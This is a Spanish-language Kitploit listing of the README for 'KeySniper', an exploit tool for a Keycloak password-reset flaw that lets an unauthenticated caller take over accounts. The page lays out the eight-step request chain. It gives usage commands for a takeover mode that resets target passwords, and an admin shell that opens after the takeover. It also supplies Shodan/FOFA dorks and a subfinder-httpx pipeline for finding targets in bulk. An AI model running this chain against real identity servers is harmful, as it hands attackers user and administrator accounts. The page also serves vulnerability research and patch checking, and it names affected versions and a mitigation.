Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
KeySniper — **CVE-2026-18963** — toma de control no autenticada de cuentas de Keycloak a través del flujo de restablecimiento de credenciales. | Kitploit
Herramientas/GitHubGitHub/ynsmroztas/keysniper
ReconocimientoEscáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónRed Teaming
GitHubynsmroztas/keysniper

KeySniper

**CVE-2026-18963** — toma de control no autenticada de cuentas de Keycloak a través del flujo de restablecimiento de credenciales.

Ver Repositorio
3hace 5h 14mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

KeySniper

KeySniper

Autor: Mitsec — x.com/ynsmroztas

CVE-2026-18963 — toma de control de cuenta Keycloak sin autenticación mediante el flujo de restablecimiento de credenciales.

KeySniper es un escáner orientado a producción para programas de bug bounty dentro del alcance y evaluaciones autorizadas: salida de radar en vivo, descubrimiento de realms, detección vs toma de control, shell interactivo posterior a ATO y pipeline de stdin (subfinder → httpx → KeySniper).

El modo predeterminado es detección (--takeover 0). --takeover 1 cambia la contraseña de la cuenta en el objetivo.


Vulnerabilidad

CampoValor
CVECVE-2026-18963
CWECWE-640 — Mecanismo débil de recuperación de contraseña
CVSS9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
ProductoKeycloak / Red Hat SSO
Corregido en26.7.2, 26.6.6, 26.4.15
AutenticaciónNinguna

Se encadenan dos errores:

  1. tryAnotherWay almacena una nota de selector genérica "true" que no está limitada al ID de ejecución.
  2. ResetCredentialEmail.action() llama a context.success() sin verificar ACTION_TOKEN_USER_ID.

Resultado: un llamador no autenticado puede forzar el flujo de restablecimiento de contraseña para un nombre de usuario conocido y llegar a UPDATE_PASSWORD sin hacer clic en el enlace del correo.

Señal de confirmación

El escaneo no es "existe olvidé mi contraseña". La confirmación es:

  • el formulario de selector se vuelve a renderizar en la URL de restablecimiento original
  • el UUID de execution= cambia (se filtra la ejecución del correo)
  • la respuesta contiene kc-passwd-update-form
root@kitploit:~
exec3 = 28e2cd30-…   (primer selector)
exec6 = 8fd21174-…   (GET pivote)
         UPDATE_PASSWORD

Características

  • Registro [radar] en vivo (Ubicación, JS, cabeceras, sonda de realm)
  • Descubrimiento de realms: 302 Location + HTML/JS + well-known + lista de palabras
  • Detección automática del prefijo /auth
  • Pipeline: URLs de stdin desde httpx / subfinder
  • Filtro de falsos positivos: se requiere cuerpo de Keycloak antes del brute de realms
  • --takeover 0 solo detección
  • --takeover 1 establecer contraseña (por defecto SelaM1337@@)
  • --shell shell interactivo de token / asistente de API de administración después de ATO
  • Insignias de color: VULN / ATO rojo, SAFE verde, SKIP amarillo

Instalación

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py

Python 3.9+.


Uso

root@kitploit:~
# detección (sin cambio de contraseña)
python3 KeySniper.py -u https://sso.example.com --takeover 0

# toma de control + shell interactivo
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell

# realm / usuario
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0

# pipeline
subfinder -d example.com -silent \
  | httpx -silent -mc 200,302,401 \
  | python3 KeySniper.py --takeover 0 -t 4

# archivo de lista
python3 KeySniper.py -l urls.txt --takeover 0 -q

Banderas

No pase --takeover 1 ni --shell en un volcado de pipeline.


Flujo (8 pasos)

root@kitploit:~
[1] GET  /realms/{realm}/protocol/openid-connect/auth?client_id=account
         → href de olvidé mi contraseña (reset-credentials)
[2] GET  reset-credentials
         → kc-reset-password-form
[3] POST tryAnotherWay=on
         → kc-select-credential-form
[4] POST username=<usuario>
[5] GET  startSessionPolling / restart (si está presente)
[6] GET  URL original de reset-credentials  (pivote)
         → re-render del selector + nueva execution=
[7] POST selector obsoleto (sin token de acción)
         → kc-passwd-update-form
[8] POST password-new / password-confirm     (solo si --takeover 1)
         → HTTP 302 + code=  ⇒ ATO

Salida

root@kitploit:~
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
    confirm exec3=...
    confirm exec6=...
    confirm kc-passwd-update-form

[ATO]  https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open parcheado
[SKIP] https://www.example.com not-keycloak

leak-no-update no se cuenta como VULN.


Shell interactivo

Se abre solo después de [ATO] en un objetivo único:

root@kitploit:~
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit

Usa la concesión de contraseña del propietario del recurso (admin-cli, luego account).
HTTP 403 en /admin/realms significa que Direct Access Grants / rol de administrador está limitado — el ATO puede seguir siendo válido.


Descubrimiento

  1. Sondear /realms/master y luego /auth/realms/master
  2. Cosechar realms de Location, HTML, JS, "realm":, emisor
  3. Lista de palabras (~70 nombres) solo después de la huella de Keycloak
  4. Conservar realms donde /realms/{nombre} devuelve 200 + cuerpo de Keycloak

Huellas / reconocimiento

root@kitploit:~
/realms/master
/realms/master/.well-known/openid-configuration
/admin/

Shodan / FOFA (alcance del programa):

root@kitploit:~
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
root@kitploit:~
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"

Falsos positivos

  • Cualquier 200 en / se ignora a menos que el cuerpo tenga issuer / public_key / login-actions
  • Falta olvidé mi contraseña → SKIP (el realm tiene el reset deshabilitado)
  • Fuga de selector sin kc-passwd-update-form → SKIP
  • Las rutas de httpx se reducen al origen (se conserva /auth)

Versiones afectadas

Keycloak < 26.7.2 (también 26.6.x < 26.6.6, 26.4.x < 26.4.15).
Mitigación: deshabilitar Olvidé mi contraseña en cada realm y luego actualizar.

La captura de pantalla en este repositorio está redactada (placeholder sso.lab.local). Los tokens, contraseñas, correos y hosts reales no se publican.


Autor

Mitsec
X: x.com/ynsmroztas


Licencia

Uso de investigación en objetivos autorizados dentro del alcance. Mantenga --takeover 1 desactivado en hosts fuera del alcance.

Descargar herramienta
BanderaPredeterminadoSignificado
-u URL—Objetivo único
-l ARCHIVO—Lista de URLs
stdinautolíneas de httpx (primer campo = URL)
--takeover 0|10Detección vs cambio de contraseña
-U USUARIOadminNombre de usuario objetivo
-r REALMautoForzar realm o descubrir
--passSelaM1337@@Nueva contraseña si takeover=1
-t N4Hilos del pipeline
-qoffSolo resultados
--shelloffShell posterior a ATO (objetivo único)
EstadoSignificado
VULNPivote + UPDATE_PASSWORD (contraseña no cambiada)
ATOPaso 8 exitoso
SAFEReset abierto, sin selector obsoleto (parcheado)
SKIPNo es Keycloak / reset deshabilitado / fuga sin formulario UPDATE
FAILRed / excepción inesperada